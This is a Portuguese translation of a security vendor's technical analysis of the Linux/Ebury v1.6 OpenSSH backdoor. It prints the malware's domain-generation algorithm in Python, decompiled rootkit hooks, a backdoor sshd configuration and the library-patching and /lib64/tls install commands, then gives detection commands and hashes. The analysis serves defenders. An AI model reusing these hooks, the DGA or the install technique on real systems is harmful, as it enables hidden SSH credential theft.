Em fevereiro de 2014, pesquisadores da ESET escreveram uma postagem sobre um backdoor de OpenSSH chamado Linux/Ebury. A pesquisa extra mostrou que este componente era o núcleo de uma operação que evolvia várias famílias de malware, que chamamos de "Operação Windigo". Isso levou à publicação de um white paper que analisou a operação completa.
Em fevereiro de 2017 encontramos uma nova amostra do Ebury, que apresenta um número significativo de novas características. O número da versão subiu para 1.6.2a. No momento dessa descoberta, as versões mais recentes que vimos foram 1.5.x, meses antes. Após uma pesquisa mais aprofundada, percebemos que sua infraestrutura para vazar credenciais ainda estava operacional e que Ebury ainda estava sendo ativamente usada pela quadrilha Windigo.
Os IoCs originais que fornecemos em 2014 são para a versão 1.4 do Ebury. Em seu site, o CERT-Bund atualizou os IoCs para a versão 1.5. Neste post, fornecemos detalhes técnicos sobre a versão 1.6, que descobrimos em fevereiro de 2017. Também compartilhamos IoC atualizados para as versões 1.5 e 1.6.
Um algoritmo de geração de domínio para extrair credenciais
O Ebury v1.4 usa um algoritmo de geração de domínio (domain generation algorithm ou DGA), quando o cibercriminoso não se conecta ao sistema infectado através do backdoor do OpenSSH por três dias. Nestas condições, o Ebury irá filtrar os dados coletados usando o domínio gerado.
O Ebury v1.6 tem o mesmo mecanismo, mas há uma pequena alteração no próprio DGA. Somente as constantes mudaram entre essas duas versões, como mostrado na figura 2.
def DGA(domain_no):
TLDS = [ 'info', 'net', 'biz' ]
KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
g = ""
for i in range(len(h))[::-1]:
g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
g += h[i]
g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
g += '.%s' % TLDS[domain_no % len(TLDS)]
return g
Figura 1: O novo DGA do Ebury v1.6 implementado no Python.
@@ -1,10 +1,10 @@
def DGA(domain_no):
KEY = "fmqzdnvcyelwaibsrxtpkhjguo"
- h = "%x" % ((domain_no * domain_no + 4091073) & 0xFFFFFFFF)
+ h = "%x" % ((domain_no * domain_no + 3807225) & 0xFFFFFFFF)
g = ""
for i in range(len(h))[::-1]:
- g += KEY[((ords(h[i]) * 4906) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
+ g += KEY[((ords(h[i]) * 3579) + (ords(h[-1]) + i + domain_no)) % len(KEY)]
g += h[i]
- g += KEY[((ords(h[-1]) * 6816) + (len(h) + domain_no - 1)) % len(KEY)]
+ g += KEY[((ords(h[-1]) * 5612) + (len(h) + domain_no - 1)) % len(KEY)]
g += '.%s' % TLDS[domain_no % len(TLDS)]
return g
Figura 2: Diferenças entre o DGA na v1.4 e v1.6 implementado no Python.
Os primeiros dez domínios gerados pelo DGA são:
- larfj7g1vaz3y.net
- idkff7m1lac3g.biz
- u2s0k8d1ial3r.info
- h9g0q8a1hat3s.net
- f2y1j8v1saa3t.biz
- xdc1h8n1baw3m.info
- raj2p8z1aae3b.net
- o9f3v8r1oaj3p.biz
- tav4h8n1baw3r.info
- hdm5o8e1tas3n.net
O Ebury tenta sequencialmente os nomes de domínio gerados até encontrar um que tenha um registro TXT definido pelo operador. Para verificar a propriedade do domínio, o Ebury verifica se o registro TXT pode ser descriptografado usando uma chave pública RSA embutida em seu código:
-----BEGIN RSA PUBLIC KEY-----
MIGJAoGBAOadSGBGG9x/f1/U6KdwxfGzqSj5Bcy4aZpKv77uN4xYdS5HWmEub5Rj
nAvtKybupWb3AUWwN7UPIO+2R+v6hrF+Gh2apcs9I9G7VEBiToi2B6BiZ3Ly68kj
1ojemjtrG+g//Ckw/osESWweSWY4nJFKa5QJzT39ErUZim2FPDmvAgMBAAE=
-----END RSA PUBLIC KEY-----
larfj7g1vaz3y.net. 1737 IN A 78.140.134.7
larfj7g1vaz3y.net. 285 IN TXT "ItTFyJ6tegXn9HkHa+XZX1+fZw0IsfhXl05phu1F7ZXDP4HtKMvrXW8NbUSjY8vkQgDdKsSaSCyrvfkhHodhVQLhIKJJY64HeoInb3m4SCNZNOhx9qjYRnuR0Ci7BHNWakJC/QdoQ4UNKkOrvvb42kN7TU6jqZCYBtusXd37tNg="
Figura 3: Registros de DNS para larfj7g1vaz3y[.]net.
O registro A no domínio é ignorado pelo Ebury.
Os dados descriptografados possuem três campos separados por vírgulas. Aqui está um exemplo dos dados armazenados na entrada do DNS para larfj7g1vaz3y[.]net em agosto de 2017:
larfj7g1vaz3y.net:3328801113:1504126800
O primeiro campo contém o nome do domínio para que os dados assinados não possam ser reutilizados para outro domínio. O segundo campo é o endereço IP do servidor C&C e o terceiro campo contém uma marca de tempo UNIX utilizada como a data de validade dos dados assinados.
A data de validade é um novo campo adicionado como um mecanismo anti-sinkhole na v1.6. Se alguém tentasse apropriar-se do domínio e do endereço IP do servidor de filtração, só seria possível reutilizar os dados assinados por um período de tempo limitado, reduzindo o impacto de uma tentativa exitosa de sinkhole: algo que aconteceu para quase todas as versões anteriores do DGA.
Tabela 1. Informações descodificadas armazenadas no registro TXT
Domain name | IP Address | Expiration date |
---|---|---|
larfj7g1vaz3y[.]net | 0xc6697959 ⇒ 198[.]105.121.89 | 2018-01-30 @ 9:00pm (UTC) |
Não acreditamos que os operadores do Ebury estejam realmente pensando em usar este mecanismo. Nas amostras que analisamos, foram encontrados vários bugs que evitavam que a execução ocorresse normalmente, o que indica que o código não passou por uma fase de testes completa.
Por este motivo, suspeitamos que seja bastante estranho que os operadores percam o acesso às máquinas infectadas. Também é possível que eles não se importem de perder o acesso a algumas máquinas de vez em quando, considerando que controlam tantos sistemas comprometidos. No entanto, a razão pela qual dedicam tantos esforços em um mecanismo que já não funciona, não é algo tão claro.
Resumo das mudanças
- DGA ligeiramente modificado (constantes modificadas)
- Foi adicionada uma data de expiração para a validade da entrada DNS do servidor de filtração
- Novo domínio registrado: larfj7g1vaz3y[.]net
- Novo endereço IP do servidor de infiltração: 198[.]105.121.89
Novas funcionalidades
Foram adicionadas novas funcionalidades à versão 1.6. Por razões desconhecidas, não estavam disponíveis em todas as amostras da v1.6 que analisamos.
O Ebury agora implementa técnicas para se esconder, geralmente descritas como um “userland rootkit“. Para isso, gera um hook para a função readdir o readdir64, cada uma das quais é usada para listar as entradas do diretório. Se a próxima estrutura de diretório para retornar é o arquivo de biblioteca compartilhado do Ebury, o hook a ignora e retorna para a entrada subsequente.
struct dirent *__fastcall readdir(__int64 a1)
{
struct dirent *dir_entry; // rax
struct dirent *dir_entry_1; // rbx
__ino_t inode; // rax
do
{
if ( !readdir_0 )
readdir_0 = F_resolve_func("readdir");
dir_entry = readdir_0(a1);
dir_entry_1 = dir_entry;
if ( !exports_hook_activated )
break;
if ( !dir_entry )
break;
if ( !ebury_inode )
break;
inode = dir_entry->d_ino;
if ( inode != ebury_inode && inode != ebury_lstat_inode )
break;
}
while ( ebury_filename && !strncmp(dir_entry_1->d_name, ebury_filename,
ebury_filename_len_before_extension) );
return dir_entry_1;
}
Figura 4: Saída Hex-Raios do hook readdir do Ebury
A ativação desses hooks é feita pelo Ebury injetando sua biblioteca dinâmica em cada processo descendentes do sshd. Para injetar-se em subprocessos, o Ebury produz hook e usa a variável LDLPRELOAD do linker dinâmico. Toda vez que um novo processo é criado, o Ebury adiciona LD_PRELOAD = <Ebury_filename> ao seu ambiente. Uma vez que o novo processo é executado, a biblioteca dinâmica do Ebury é carregada e seu construtor é chamado, executando as rotinas de hook.
Como mencionado em um artigo no srvfail.com, existe um tópico no StackExchange de um usuário que afirma que o Ebury comprometeu sua máquina. O comportamento descrito corresponde às técnicas de auto ocultação que presenciamos no Ebury v1.6.2a.
As versões anteriores do Ebury costumavam funcionar apenas em versões muito específicas do OpenSSH e eram específicas para a distribuição do Linux. Normalmente, as amostras anteriores do Ebury funcionariam para três a cinco compilações do OpenSSH para uma determinada distribuição do Linux. Este já não é o caso. A maioria das rotinas de correções do OpenSSH foram substituídas pelo hooking de funções. Não há mais compensações hardcodeadas. Tentamos instalar a Ebury nas máquinas que executam Debian Jessie, CentOS 7 e Ubuntu Artful com a mesma amostra e funcionou em todos os casos.
Para injetar a configuração do servidor OpenSSH diretamente na memória, o Ebury analisa a seção de código do binário sshd mapeada no mesmo processo procurando duas funções diferentes. Ele tenta encontrar o endereço de parse_server_config ou process_server_config_line.
Caso falhe, ele degrada as caraterísticas de segurança ao desativar o controle de acesso baseado na função SELinux e ao desativar os módulos PAM. Quando uma das funções é resolvida com êxito, o Ebury aproveitará isso quando o backdoor for usado para alterar a configuração do sshd.
PrintLastLog no
PrintMotd no
PasswordAuthentication no
PermitRootLogin yes
UseLogin no
UsePAM no
UseDNS no
ChallengeResponseAuthentication no
LogLevel QUIET
StrictModes no
PubkeyAuthentication yes
AllowUsers n
AllowGroups n
DenyUsers n
DenyGroups n
AuthorizedKeysFile /proc/self/environ
Banner /dev/null
PermitTunnel yes
AllowTcpForwarding yes
PermitOpen any
Figura 5: Configuração usada pelo backdoor do Ebury.
Os autores do Ebury também endureceram seu mecanismo de backdoor. Em vez de confiar apenas em uma senha codificada na string da versão do cliente SSH, a ativação agora requer uma chave privada para se autenticar. É possível que esta verificação extra tenha sido adicionada para evitar que outras pessoas que tenham encontrado a senha do backdoor possam usá-la para obter acesso ao servidor comprometido do Ebury.
ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESH
CvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd3BD+ADXDurAlDG
bh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00
H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC/9rqoAdv7Gbc5Y7W8xrNIjOIuxDx
Bx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq6
3E/xqI4tMEQl9BmW1Df5+LjbVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub
Figura 6: Chave pública de RSA das operações do Ebury.
Quando há uma tentativa de conexão ao backdoor, o Ebury modifica a opção AuthorizedKeysFile para apontar para /proc/self/environ. Produz hook para open ou open64 e comprova se existe uma tentativa de abrir / proc / self / environ ou uma caminho que contenha .ssh / authorized_keys. A segunda verificação pode ser usada como um retorno no caso do Ebury não conseguir resolver parse_server_config e process_server_config_line para enviar sua própria configuração.
O Ebury também produz hook para fgets que é chamado pelo sshd para ler o conteúdo do arquivo authorized_keys. Uma variável global é usada para garantir que fgets seja chamado depois que o arquivo authorized_keys for aberto. Logo depois, o hook preenche o buffer do fgets com a chave pública dos operadores do Ebury para que a chave do cibercriminoso seja usada para a autenticação.
char *__fastcall fgets_hook(char *s, __int64 size, FILE *stream)
{
int fd_env; // ebp
char *result; // rax
if ( !(backdoor_command & 1) )
return fgets_0(s);
fd_env = fd_proc_self_environ;
if ( fd_proc_self_environ <= 0 || fd_env != fileno(stream) )
return fgets_0(s);
strcpy(
s,
"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDr3cAedzlH3aq3nrIaaQdWpqESHCvfGi4nySL1ikMJowgonAf5qFtH4JKMn7HhW5hWBAyYj2ygjzXd" "3BD+ADXDurAlDGbh0NsyCJDFCQ8Bsrwl7p5ZEPEfBOh99IBMbAOgqVmM9tTv7ci05yoBEEcFsNaBg00H+m0GooLsNsl+5TG3a2aUg6Dg2CKfi55HHTHC" "/9rqoAdv7Gbc5Y7W8xrNIjOIuxDxBx353bKO0uSuL06m2Q4m8kYlaw51ZWVylIhGOPm4ldqP4Jjls8QtL/Eg2ZD7epUq63E/xqI4tMEQl9BmW1Df5+Lj"
"bVRoEFBWEbMDfHZm7XNG5R3UiwX4H2Ub\n");
result = s;
fd_proc_self_environ = 0;
return result;
}
Figura 7: Saída Hex-Rays do hook fgets
Algo que continua sendo um mistério para nós é o propósito deste hook memcpy:
char *__fastcall memcpy_hook(char *dst, const char *src, size_t len)
{
size_t len_1; // r12
char *result; // rax
len_1 = len;
memcpy_orig(dst, src, len);
if ( len_1 > 0x1F && !strncmp(src, "chacha20-poly1305@openssh.com,", 0x1EuLL) )
result = memcpy_orig(dst, src + 30, len_1 - 30);
else
result = dst;
return result;
}
Figura 8: Saída Hex-Rays do hook memcpy
Até onde sabemos, o hook é usado para remover o algoritmo chacha20-poly1305 durante a troca de chaves SSH, não compreendemos por que os autores do Ebury não querem que esse algoritmo seja usado.
Novos métodos de instalação
Anteriormente, o Ebury adicionou seu payload dentro da biblioteca libkeyutils.so. O arquivo conteria as funções legítimas do libkeyutils e o código malicioso do Ebury, que é iniciado durante o carregamento. Quando comprometido, o arquivo foi maior do que o habitual, um sinal de compromisso que compartilhamos em 2014.
Embora tenhamos visto esta técnica usada pela versão 1.6, os autores do Ebury criaram novos truques para enganar nossos IOCs. Eles ainda usam o arquivo libkeyutils.so, mas de forma diferente.
Segundo o que temos visto, as sequências de comandos e as técnicas de implantação parecem diferir em função da distribuição do Linux do sistema de destino.
Debian/Ubuntu
Nos sistemas Debian/Ubuntu, o Ebury se implementa atualmente usando um novo método. Considerando que o libkeyutils.so é carregado pelo cliente OpenSSH e os executáveis do servidor OpenSSH, continua sendo um alvo interessante para os cibercriminosos.
Anteriormente vimos o Ebury instalado mudando o link simbólico libkeyutils.so.1 para apontar para a versão maliciosa da biblioteca. A biblioteca alterada teria um construtor onde o código de inicialização da Ebury é armazenado. Toda vez que o libkeyutils.so é carregado, o construtor é chamado. Assim, sempre que o cliente ou servidor OpenSSH é iniciado, o Ebury é injetado no processo.
O último método de implantação no Debian/Ubuntu agora depende do patch do libkeyutils.so para forçá-lo a carregar o Ebury, que é armazenado em um arquivo .so separado. Comparando uma versão original e uma parcheada, percebemos que há uma entrada adicional na seção .dynamic do cabeçalho ELF. Esta entrada é do tipo NEEDED (0x01), o que significa que é uma dependência deste executável e que será carregado em tempo de execução. No script de implantação que analisamos, a biblioteca que será carregada se chama libsbr.so e contém o código malicioso do Ebury.
--- ./libkeyutils.so.1-5 2017-10-13 21:19:24.269521814 -0400
+++ ./libkeyutils.so.1-5.patched 2017-10-13 21:19:17.405092274 -0400
@@ -1,5 +1,5 @@
-Dynamic section at offset 0x2cf8 contains 26 entries:
+Dynamic section at offset 0x2cf8 contains 27 entries:
Tag Type Name/Value
0x0000000000000001 (NEEDED) Shared library: [libc.so.6]
0x000000000000000e (SONAME) Library soname: [libkeyutils.so.1]
@@ -26,4 +26,5 @@
0x000000006fffffff (VERNEEDNUM) 1
0x000000006ffffff0 (VERSYM) 0xdf0
0x000000006ffffff9 (RELACOUNT) 3
+ 0x0000000000000001 (NEEDED) Shared library: [libsbr.so]
0x0000000000000000 (NULL) 0x0
Figura 9: Diferença entre seção dinâmica de uma versão original e uma parcheada do libkeyutils.so.
O processo de atualização tem duas etapas. Primeiro, a cadeia "libsbr.so" deve ser armazenada na tabela de strings do binário. Em segundo lugar, uma nova entrada do tipo 0x1 (DT_NEEDED) deve ser adicionada à seção dinâmica dos cabeçalhos ELF. Esta entrada deve apontar para a string da biblioteca com um deslocamento na tabela de strings. Os autores do Ebury substituem a cadeia "__bss_start" por "_ \ x00libsbr.so". Como __bss_start não é usado pelo vinculador dinâmico, a modificação deste símbolo não tem impacto na execução da biblioteca. A Figura 10 mostra a diferença entre o original e a tabela de strings alteradas do libkeyutils.so.
Figura 10: Diferenças entre uma tabela de strings originais e uma parcheada.
Agora que a cadeia "libsbr.so" é armazenada na tabela de strings, uma nova entrada deve ser adicionada na seção .dynamic. A Figura 11 mostra a diferença entre a seção .dynamic do original e do parcheado libkeyutils.so.
typedef struct {
Elf32_Sword d_tag;
union {
Elf32_Word d_val;
Elf32_Addr d_ptr;
} d_un;
} Elf32_Dyn;
typedef struct {
Elf64_Sxword d_tag;
union {
Elf64_Xword d_val;
Elf64_Addr d_ptr;
} d_un;
} Elf64_Dyn;
Figura 12: Estruturas relacionadas à seção .dynamic
Na figura 13, temos uma versão para 64 bits do libkeyutils.so. Portanto, a nova entrada na seção .dynamic pode ser escrita como:
Elf64_Dyn dyn;
dyn.d_tag = DT_NEEDED;
dyn.d_val = 0x38F;
Figura 13: Nova entrada .dynamic
O primeiro campo é 0x1, o que se traduz para a etiqueta DT_NEEDED. O segundo campo é o deslocamento para a string libsbr.so na tabela de strings: 0x3F8.
Para ser ainda mais sigiloso, os operadores do Ebury se preocupam em corrigir as somas do pacote libkeyutils1 da MD5. Portanto, não é possível verificar se um sistema está infectado examinando a integridade do pacote – um comando para tal finalidade não apresentaria erros:
$ dpkg --verify libkeyutils1
Diversos nomes de arquivos são usados pelo Ebury quando ele é implantado como uma biblioteca autônoma. Aqui está a lista dos nomes de arquivos que conhecemos:
- libns2.so
- libns5.so
- libpw3.so
- libpw5.so
- libsbr.so
- libslr.so
CentOS
No CentOS são usadas técnicas semelhantes às descritas para implantação do Debian/Ubuntu. Os cibercriminosos parcheariam libkeyutils.so para forçá-lo a carregar uma biblioteca extra. Além disso, percebemos uma nova técnica utilizada para a implantação do Ebury nos sistemas CentOS/RedHat.
Ainda não conhecemos todos os detalhes sobre o funcionamento do processo de instalação. A análise de vários relatórios online nos ajudou a organizar algumas suposições sobre como ocorre a implantação.
Sabemos que o Ebury está sendo implantado como um objeto compartilhado separado carregado por libkeyutils de forma semelhante à implantação do Debian. No entanto, também testemunhamos outro método de instalação, que acreditamos ser o método de implantação para v1.6.
Como foi o caso em lançamentos anteriores do Ebury, as operadoras constroem sua própria versão do libkeyutils.so ao qual adicionam um construtor que contém o código malicioso. Em vez de alterar o libkeyutils.so.1 desde /lib/ou/lib64 / usam a pasta /lib {, 64}/tls/ para carregar seu arquivo porque o vinculador dinâmico parece primeiro neste diretório quando as dependências são resolvidas.
Acreditamos que o processo de implantação para esta versão é carregar o Ebury no / lib / tls / ou / lib64 / tls / dependendo da arquitetura do sistema da vítima. Em seguida, ao executar ldconfig se criará automaticamente um link simbólico /lib{,64}/tls/libkeyutils.so.1 que aponta para o objeto compartilhado malicioso.
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007ff67774f000)
# cp libkeyutils.so.1.5 /lib64/tls/
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f44ac6ba000)
# ldconfig
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/tls/libkeyutils.so.1 (0x00007fc12db23000)
# ls -al /lib64/tls
total 24
dr-xr-xr-x 1 root root 4096 Oct 18 14:34 .
dr-xr-xr-x 1 root root 4096 Oct 18 13:25 ..
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
Figura 14: Uso de ldconfig para implantar o Ebury no / lib64 / tls /
Além disso, cria um sistema de desinstalação simples que não requer manipular links simbólicos e mantém algumas cópias de backup do objeto compartilhado original do libkeyutils no caso de algo dar errado durante o processo de implantação. É necessário apenas apagar o arquivo malicioso libkeyutils.so na pasta / lib {, 64} / tls /, em seguida, executar o ldconfig novamente e o sistema volta ao seu estado original.
# ls -l /lib64/tls
total 16
lrwxrwxrwx 1 root root 18 Oct 18 14:34 libkeyutils.so.1 -> libkeyutils.so.1.5
-rwxr-xr-x 1 root root 15688 Oct 18 14:34 libkeyutils.so.1.5
# rm /lib64/tls/libkeyutils.so.1.5
# ldconfig
# ls -l /lib64/tls
total 0
# ldd /usr/bin/ssh | grep -i libkeyutils
libkeyutils.so.1 => /lib64/libkeyutils.so.1 (0x00007f7b89349000)
# ls -l /lib64/libkeyutils.so.1
lrwxrwxrwx 1 root root 18 Oct 18 13:25 /lib64/libkeyutils.so.1 -> libkeyutils.so.1.5
Figura 15: Uso do ldconfig para desinstalar o Ebury.
O subdiretório tls é usado em conjunto com uma funcionalidade do loder do Linux no qual se a CPU suporta um conjunto de instruções extras, o que nesse diretório tem precedência sobre o "regular". O diretório tls é na realmente um pseudo-hwcap do “TLS support” que está sempre presente atualmente.
Conclusão
Mesmo após a prisão de Maxim Senakh, o núcleo da Windigo ainda continua em funcionamento. O Ebury, o principal componente da botnet do Linux, passou por atualizações significativas.
Agora usa técnicas para se esconder e novas formas de injeção em processos relacionados ao OpenSSH. Além disso, usa um novo algoritmo de geração de domínio (DGA) para encontrar qual registro de TXT de domínio deve ser buscado. O endereço IP do servidor de infiltração está escondido nestes dados, assinado com a chave privada dos cibercriminosos.
Uma data de validade foi adicionada aos dados assinados para se defender contra a reutilização das assinaturas, mitigando possíveis tentativas do sinkhole. Os operadores da Windigo monitoram regularmente os IoCs compartilhados publicamente e se adaptam rapidamente aos indicadores tolos disponíveis. Mantenha isso em mente ao tentar determinar se um sistema está infectado usando IOCs públicos. Quanto mais velhos forem, é mais provável que sejam obsoletos.
Indicadores de Compromisso (IoCs)
Nesta seção, compartilhamos os IoCs que podem ajudar a identificar as últimas variantes do Ebury. Fornecemos estes dados para ajudar a comunidade a detectar se seus sistemas estão comprometidos, mas não devem ser considerados perfeitos.
O Ebury agora usa um conector UNIX abstrato para se comunicar com um processo externo que será responsável pela infiltração de dados. Na maioria dos casos, o nome começa com "/ tmp / dbus-". O dbus verdadeiro pode criar um conector usando o mesmo padrão. No entanto, o Ebury faz isso com processos não relacionados ao dbus legítimo. Se o comando a seguir emitir o socket, deve ser considerado suspeito:
$ lsof -U | grep -F @/tmp/dbus- | grep -v ^dbus
Aqui está uma lista dos processos que conhecemos que o Ebury usa como agente de infiltração:
- auditd
- crond
- anacron
- arpd
- acpid
- rsyslogd
- udevd
- systemd-udevd
- atd
- hostname
- sync
No CentOS/Redhat, ter um arquivo libkeyutils.so * em / lib / tls / ou / lib64 / tls / é suspeito.
Executando objdump -x libkeyutils.so.1 (ou readelf -d libkeyutils.so.1) imprimirá a seção dinâmica do cabeçalho ELF. Qualquer coisa NECESSÁVEL (tipo 1) que não seja libc ou libdl é suspeito.
$ objdump -x /path/to/libkeyutils.so.1 | grep NEEDED | grep -v -F -e libdl.so -e libc.so
No caso de sua máquina estar infectada com uma versão do Ebury userland rootkit, há várias maneiras de detectá-lo. Como o Ebury se injeta usando a variável de ambiente LDLPRELOAD do vinculador dinâmico, podemos usar alguma outra variável de ambiente para rastrear o processo de vinculação dinâmica. Se o libkeyutils é carregado em algum processo onde não deveria, é muito provável que o sistema esteja infectado com uma versão habilitada para o rootkits. Se o seguinte comando aumento o resultado, deve ser considerado muito suspeito:
$ LD_DEBUG=symbols /bin/true 2>&1 | grep libkeyutils
Se você detectar máquinas comprometidas, sugerimos que seja realizada a reinstalação completa porque o Windigo, às vezes, instala malware extra. Portanto, é provável que uma máquina comprometida pelo Ebury esteja contaminada por outras ameaças.
Além disso, considere todas as credenciais do usuário e todas as chaves SSH comprometidas. Garanta a troca de todas.
Hashes relacionados ao Ebury
Table 2. Ebury-related hashes |
|||
---|---|---|---|
SHA-1 | Filename | Version | Detection Name |
5c796dc566647dd0db74d5934e768f4dfafec0e5 | libns2.so | 1.5.0 | Linux/Ebury.B |
615c6b022b0fac1ff55c25b0b16eb734aed02734 | Unknown | 1.5.1 | Linux/Ebury.E |
d4eeada3d10e76a5755c6913267135a925e195c6 | libns5.so | 1.5.1c | Linux/Ebury.E |
27ed035556abeeb98bc305930403a977b3cc2909 | libpw3.so | 1.5.1d | Linux/Ebury.E |
2f382e31f9ef3d418d31653ee124c0831b6c2273 | libpw5.so | 1.5.1e | Linux/Ebury.E |
7248e6eada8c70e7a468c0b6df2b50cf8c562bc9 | libpw5.so | 1.5.1f | Linux/Ebury.I |
e8d3c369a231552081b14076cf3eaa8901e6a1cd | libkeyutils lib | 1.5.5 | Linux/Ebury.F |
1d3aafce8cd33cf51b70558f33ec93c431a982ef | libkeyutils lib | 1.5.5 | Linux/Ebury.F |
a559ee8c2662ee8f3c73428eaf07d4359958cae1 | libkeyutils lib | 1.5.5c | Linux/Ebury.F |
17c40a5858a960afd19cc02e07d3a5e47b2ab97a | libslr.so | 1.5.6dp | Linux/Ebury.I |
eb352686d1050b4ab289fe8f5b78f39e9c85fb55 | libkeyutils.so.1.5 | 1.5.6d | Linux/Ebury.F |
44b340e90edba5b9f8cf7c2c01cb4d45dd25189e | libkeyutils.so.1.5 | 1.6.2a | Linux/Ebury.I |
e8d392ae654f62c6d44c00da517f6f4f33fe7fed | libsbr.so | 1.6.2gp | Linux/Ebury.I |
b58725399531d38ca11d8651213b4483130c98e2 | libsbr.so | 1.6.2gp | Linux/Ebury.I |